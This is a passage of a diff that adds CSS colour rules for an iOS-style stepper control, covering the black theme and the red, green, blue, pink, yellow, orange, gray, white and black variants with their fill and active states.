.stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffffff; +} +.ios .color-theme-black .stepper .stepper-button, +.ios .color-theme-black .stepper .stepper-button-minus, +.ios .color-theme-black .stepper .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.ios .color-theme-black .stepper .stepper-button.active-state, +.ios .color-theme-black .stepper .stepper-button-minus.active-state, +.ios .color-theme-black .stepper .stepper-button-plus.active-state { + background-color: rgba(0, 0, 0, 0.15); +} +.ios .color-theme-black .stepper .stepper-button-plus:after, +.ios .color-theme-black .stepper .stepper-button-minus:after, +.ios .color-theme-black .stepper .stepper-button-plus:before, +.ios .color-theme-black .stepper .stepper-button-minus:before { + background-color: #000000; +} +.ios .color-theme-black .stepper .stepper-value, +.ios .color-theme-black .stepper .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.ios .color-theme-black .stepper .stepper-value { + color: #000000; +} +.ios .color-theme-black .stepper .stepper-input-wrap input { + color: #000000; +} +.ios .color-theme-black .stepper.stepper-fill .stepper-button, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #000000; +} +.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #000000; + border-color: #000000; + background-color: transparent; +} +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-black .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-black .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #000000; +} +.ios .stepper.color-red .stepper-button, +.ios .stepper.color-red .stepper-button-minus, +.ios .stepper.color-red .stepper-button-plus { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .stepper.color-red .stepper-button.active-state, +.ios .stepper.color-red .stepper-button-minus.active-state, +.ios .stepper.color-red .stepper-button-plus.active-state { + background-color: rgba(255, 59, 48, 0.15); +} +.ios .stepper.color-red .stepper-button-plus:after, +.ios .stepper.color-red .stepper-button-minus:after, +.ios .stepper.color-red .stepper-button-plus:before, +.ios .stepper.color-red .stepper-button-minus:before { + background-color: #ff3b30; +} +.ios .stepper.color-red .stepper-value, +.ios .stepper.color-red .stepper-input-wrap { + border-top-color: #ff3b30; + border-bottom-color: #ff3b30; +} +.ios .stepper.color-red .stepper-value { + color: #ff3b30; +} +.ios .stepper.color-red .stepper-input-wrap input { + color: #ff3b30; +} +.ios .stepper.color-red.stepper-fill .stepper-button, +.ios .stepper.color-red.stepper-fill-ios .stepper-button, +.ios .stepper.color-red.stepper-fill .stepper-button-minus, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-red.stepper-fill .stepper-button-plus, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus { + background-color: #ff3b30; +} +.ios .stepper.color-red.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-red.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-red.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-red.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-red.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff3b30; + border-color: #ff3b30; + background-color: transparent; +} +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-red.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-red.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff3b30; +} +.ios .stepper.color-green .stepper-button, +.ios .stepper.color-green .stepper-button-minus, +.ios .stepper.color-green .stepper-button-plus { + border-color: #4cd964; + color: #4cd964; +} +.ios .stepper.color-green .stepper-button.active-state, +.ios .stepper.color-green .stepper-button-minus.active-state, +.ios .stepper.color-green .stepper-button-plus.active-state { + background-color: rgba(76, 217, 100, 0.15); +} +.ios .stepper.color-green .stepper-button-plus:after, +.ios .stepper.color-green .stepper-button-minus:after, +.ios .stepper.color-green .stepper-button-plus:before, +.ios .stepper.color-green .stepper-button-minus:before { + background-color: #4cd964; +} +.ios .stepper.color-green .stepper-value, +.ios .stepper.color-green .stepper-input-wrap { + border-top-color: #4cd964; + border-bottom-color: #4cd964; +} +.ios .stepper.color-green .stepper-value { + color: #4cd964; +} +.ios .stepper.color-green .stepper-input-wrap input { + color: #4cd964; +} +.ios .stepper.color-green.stepper-fill .stepper-button, +.ios .stepper.color-green.stepper-fill-ios .stepper-button, +.ios .stepper.color-green.stepper-fill .stepper-button-minus, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-green.stepper-fill .stepper-button-plus, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus { + background-color: #4cd964; +} +.ios .stepper.color-green.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-green.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-green.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-green.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-green.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #4cd964; + border-color: #4cd964; + background-color: transparent; +} +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-green.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-green.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #4cd964; +} +.ios .stepper.color-blue .stepper-button, +.ios .stepper.color-blue .stepper-button-minus, +.ios .stepper.color-blue .stepper-button-plus { + border-color: #007aff; + color: #007aff; +} +.ios .stepper.color-blue .stepper-button.active-state, +.ios .stepper.color-blue .stepper-button-minus.active-state, +.ios .stepper.color-blue .stepper-button-plus.active-state { + background-color: rgba(0, 122, 255, 0.15); +} +.ios .stepper.color-blue .stepper-button-plus:after, +.ios .stepper.color-blue .stepper-button-minus:after, +.ios .stepper.color-blue .stepper-button-plus:before, +.ios .stepper.color-blue .stepper-button-minus:before { + background-color: #007aff; +} +.ios .stepper.color-blue .stepper-value, +.ios .stepper.color-blue .stepper-input-wrap { + border-top-color: #007aff; + border-bottom-color: #007aff; +} +.ios .stepper.color-blue .stepper-value { + color: #007aff; +} +.ios .stepper.color-blue .stepper-input-wrap input { + color: #007aff; +} +.ios .stepper.color-blue.stepper-fill .stepper-button, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button, +.ios .stepper.color-blue.stepper-fill .stepper-button-minus, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-blue.stepper-fill .stepper-button-plus, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus { + background-color: #007aff; +} +.ios .stepper.color-blue.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-blue.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-blue.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-blue.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #007aff; + border-color: #007aff; + background-color: transparent; +} +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #007aff; +} +.ios .stepper.color-pink .stepper-button, +.ios .stepper.color-pink .stepper-button-minus, +.ios .stepper.color-pink .stepper-button-plus { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .stepper.color-pink .stepper-button.active-state, +.ios .stepper.color-pink .stepper-button-minus.active-state, +.ios .stepper.color-pink .stepper-button-plus.active-state { + background-color: rgba(255, 45, 85, 0.15); +} +.ios .stepper.color-pink .stepper-button-plus:after, +.ios .stepper.color-pink .stepper-button-minus:after, +.ios .stepper.color-pink .stepper-button-plus:before, +.ios .stepper.color-pink .stepper-button-minus:before { + background-color: #ff2d55; +} +.ios .stepper.color-pink .stepper-value, +.ios .stepper.color-pink .stepper-input-wrap { + border-top-color: #ff2d55; + border-bottom-color: #ff2d55; +} +.ios .stepper.color-pink .stepper-value { + color: #ff2d55; +} +.ios .stepper.color-pink .stepper-input-wrap input { + color: #ff2d55; +} +.ios .stepper.color-pink.stepper-fill .stepper-button, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button, +.ios .stepper.color-pink.stepper-fill .stepper-button-minus, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-pink.stepper-fill .stepper-button-plus, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus { + background-color: #ff2d55; +} +.ios .stepper.color-pink.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-pink.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-pink.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-pink.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff2d55; + border-color: #ff2d55; + background-color: transparent; +} +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff2d55; +} +.ios .stepper.color-yellow .stepper-button, +.ios .stepper.color-yellow .stepper-button-minus, +.ios .stepper.color-yellow .stepper-button-plus { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-button.active-state, +.ios .stepper.color-yellow .stepper-button-minus.active-state, +.ios .stepper.color-yellow .stepper-button-plus.active-state { + background-color: rgba(255, 204, 0, 0.15); +} +.ios .stepper.color-yellow .stepper-button-plus:after, +.ios .stepper.color-yellow .stepper-button-minus:after, +.ios .stepper.color-yellow .stepper-button-plus:before, +.ios .stepper.color-yellow .stepper-button-minus:before { + background-color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-value, +.ios .stepper.color-yellow .stepper-input-wrap { + border-top-color: #ffcc00; + border-bottom-color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-value { + color: #ffcc00; +} +.ios .stepper.color-yellow .stepper-input-wrap input { + color: #ffcc00; +} +.ios .stepper.color-yellow.stepper-fill .stepper-button, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button, +.ios .stepper.color-yellow.stepper-fill .stepper-button-minus, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-yellow.stepper-fill .stepper-button-plus, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus { + background-color: #ffcc00; +} +.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffcc00; + border-color: #ffcc00; + background-color: transparent; +} +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffcc00; +} +.ios .stepper.color-orange .stepper-button, +.ios .stepper.color-orange .stepper-button-minus, +.ios .stepper.color-orange .stepper-button-plus { + border-color: #ff9500; + color: #ff9500; +} +.ios .stepper.color-orange .stepper-button.active-state, +.ios .stepper.color-orange .stepper-button-minus.active-state, +.ios .stepper.color-orange .stepper-button-plus.active-state { + background-color: rgba(255, 149, 0, 0.15); +} +.ios .stepper.color-orange .stepper-button-plus:after, +.ios .stepper.color-orange .stepper-button-minus:after, +.ios .stepper.color-orange .stepper-button-plus:before, +.ios .stepper.color-orange .stepper-button-minus:before { + background-color: #ff9500; +} +.ios .stepper.color-orange .stepper-value, +.ios .stepper.color-orange .stepper-input-wrap { + border-top-color: #ff9500; + border-bottom-color: #ff9500; +} +.ios .stepper.color-orange .stepper-value { + color: #ff9500; +} +.ios .stepper.color-orange .stepper-input-wrap input { + color: #ff9500; +} +.ios .stepper.color-orange.stepper-fill .stepper-button, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button, +.ios .stepper.color-orange.stepper-fill .stepper-button-minus, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-orange.stepper-fill .stepper-button-plus, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus { + background-color: #ff9500; +} +.ios .stepper.color-orange.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-orange.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-orange.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-orange.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff9500; + border-color: #ff9500; + background-color: transparent; +} +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff9500; +} +.ios .stepper.color-gray .stepper-button, +.ios .stepper.color-gray .stepper-button-minus, +.ios .stepper.color-gray .stepper-button-plus { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .stepper.color-gray .stepper-button.active-state, +.ios .stepper.color-gray .stepper-button-minus.active-state, +.ios .stepper.color-gray .stepper-button-plus.active-state { + background-color: rgba(142, 142, 147, 0.15); +} +.ios .stepper.color-gray .stepper-button-plus:after, +.ios .stepper.color-gray .stepper-button-minus:after, +.ios .stepper.color-gray .stepper-button-plus:before, +.ios .stepper.color-gray .stepper-button-minus:before { + background-color: #8e8e93; +} +.ios .stepper.color-gray .stepper-value, +.ios .stepper.color-gray .stepper-input-wrap { + border-top-color: #8e8e93; + border-bottom-color: #8e8e93; +} +.ios .stepper.color-gray .stepper-value { + color: #8e8e93; +} +.ios .stepper.color-gray .stepper-input-wrap input { + color: #8e8e93; +} +.ios .stepper.color-gray.stepper-fill .stepper-button, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button, +.ios .stepper.color-gray.stepper-fill .stepper-button-minus, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-gray.stepper-fill .stepper-button-plus, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus { + background-color: #8e8e93; +} +.ios .stepper.color-gray.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-gray.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-gray.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-gray.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #8e8e93; + border-color: #8e8e93; + background-color: transparent; +} +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #8e8e93; +} +.ios .stepper.color-white .stepper-button, +.ios .stepper.color-white .stepper-button-minus, +.ios .stepper.color-white .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.ios .stepper.color-white .stepper-button.active-state, +.ios .stepper.color-white .stepper-button-minus.active-state, +.ios .stepper.color-white .stepper-button-plus.active-state { + background-color: rgba(255, 255, 255, 0.15); +} +.ios .stepper.color-white .stepper-button-plus:after, +.ios .stepper.color-white .stepper-button-minus:after, +.ios .stepper.color-white .stepper-button-plus:before, +.ios .stepper.color-white .stepper-button-minus:before { + background-color: #ffffff; +} +.ios .stepper.color-white .stepper-value, +.ios .stepper.color-white .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.ios .stepper.color-white .stepper-value { + color: #ffffff; +} +.ios .stepper.color-white .stepper-input-wrap input { + color: #ffffff; +} +.ios .stepper.color-white.stepper-fill .stepper-button, +.ios .stepper.color-white.stepper-fill-ios .stepper-button, +.ios .stepper.color-white.stepper-fill .stepper-button-minus, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-white.stepper-fill .stepper-button-plus, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus { + background-color: #ffffff; +} +.ios .stepper.color-white.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-white.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-white.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-white.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffffff; + border-color: #ffffff; + background-color: transparent; +} +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffffff; +} +.ios .stepper.color-black .stepper-button, +.ios .stepper.color-black .stepper-button-minus, +.ios .stepper.color-black .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.ios .stepper.color-black .stepper-button.active-state, +.ios .stepper.color-black .stepper-button-minus.active-state, +.ios .stepper.color-black .stepper-button-plus.active-state { + background-color: rgba(0, 0, 0, 0.15); +} +.ios .stepper.color-black .stepper-button-plus:after, +.ios .stepper.color-black .stepper-button-minus:after, +.ios .stepper.color-black .stepper-button-plus:before, +.ios .stepper.color-black .stepper-button-minus:before { + background-color: #000000; +} +.ios .stepper.color-black .stepper-value, +.ios .stepper.color-black .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.ios .stepper.color-black .stepper-value { + color: #000000; +} +.ios .stepper.color-black .stepper-input-wrap input { + color: #000000; +} +.ios .stepper.color-black.stepper-fill .stepper-button, +.ios .stepper.color-black.stepper-fill-ios .stepper-button, +.ios .stepper.color-black.stepper-fill .stepper-button-minus, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus, +.ios .stepper.color-black.stepper-fill .stepper-button-plus, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus { + background-color: #000000; +} +.ios .stepper.color-black.stepper-fill .stepper-button-plus:before, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:before, +.ios .stepper.color-black.stepper-fill .stepper-button-minus:before, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:before, +.ios .stepper.color-black.stepper-fill .stepper-button-plus:after, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:after, +.ios .stepper.color-black.stepper-fill .stepper-button-minus:after, +.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button.active-state, 